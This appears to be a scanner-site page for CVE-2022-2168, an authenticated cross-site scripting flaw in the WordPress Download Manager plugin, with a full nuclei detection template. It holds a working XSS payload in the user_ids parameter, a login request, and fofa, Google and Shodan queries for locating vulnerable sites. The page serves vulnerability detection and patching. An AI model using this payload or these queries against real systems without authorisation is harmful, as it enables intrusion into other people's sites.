CVE-2022-2168· w3eden / download manager· CWE-79
WordPress Download Manager < 3.2.44 - Authenticated Cross-Site Scripting
mediumseverity
6.1CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it
The WordPress Download Manager plugin before version 3.2.44 does not properly sanitize and escape the user_ids parameter in the stats history dashboard. This allows authenticated attackers to perform Cross-Site Scripting attacks by injecting malicious JavaScript code.
Impact
Authenticated administrators can inject malicious JavaScript via XSS in the user_ids parameter, potentially stealing session cookies or performing unauthorized administrative actions.
Fix
Update the WordPress Download Manager plugin to version 3.2.44 or later.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=wpdmpro&page=wpdm-stats&type=history&user_ids[]=1&"><script>alert('document_domain')</script>
Positive when: contains "<script>alert('document_domain')</script>" and "No downloads found" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-2168 -u <target>
The full check
id: CVE-2022-2168
info:
name: WordPress Download Manager < 3.2.44 - Authenticated Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The WordPress Download Manager plugin before version 3.2.44 does not properly sanitize and escape the user_ids parameter in the stats history dashboard. This allows authenticated attackers to perform Cross-Site Scripting attacks by injecting malicious JavaScript code.
impact: |
Authenticated administrators can inject malicious JavaScript via XSS in the user_ids parameter, potentially stealing session cookies or performing unauthorized administrative actions.
remediation: |
Update the WordPress Download Manager plugin to version 3.2.44 or later.
reference:
- https://wpscan.com/vulnerability/66789b32-049e-4440-8b19-658649851010/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2168
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-2168
cwe-id: CWE-79
epss-score: 0.01387
epss-percentile: 0.7247
cpe: cpe:2.3:a:w3eden:download_manager:*:*:*:*:free:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: w3eden
product: download_manager
fofa-query: body="wp-content/plugins/download-manager/"
google-query: inurl:"/wp-content/plugins/download-manager/"
shodan-query: html:"wp-content/plugins/download-manager/"
tags: cve,cve2022,wp,wordpress,wp-plugin,xss,download-manager,authenticated,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/edit.php?post_type=wpdmpro&page=wpdm-stats&type=history&user_ids[]=1&"><script>alert('document_domain')</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert('document_domain')</script>"
- "No downloads found"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/66789b32-049e-4440-8b19-658649851010/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2168
Use this check only on systems you are authorised to test. Where the data comes from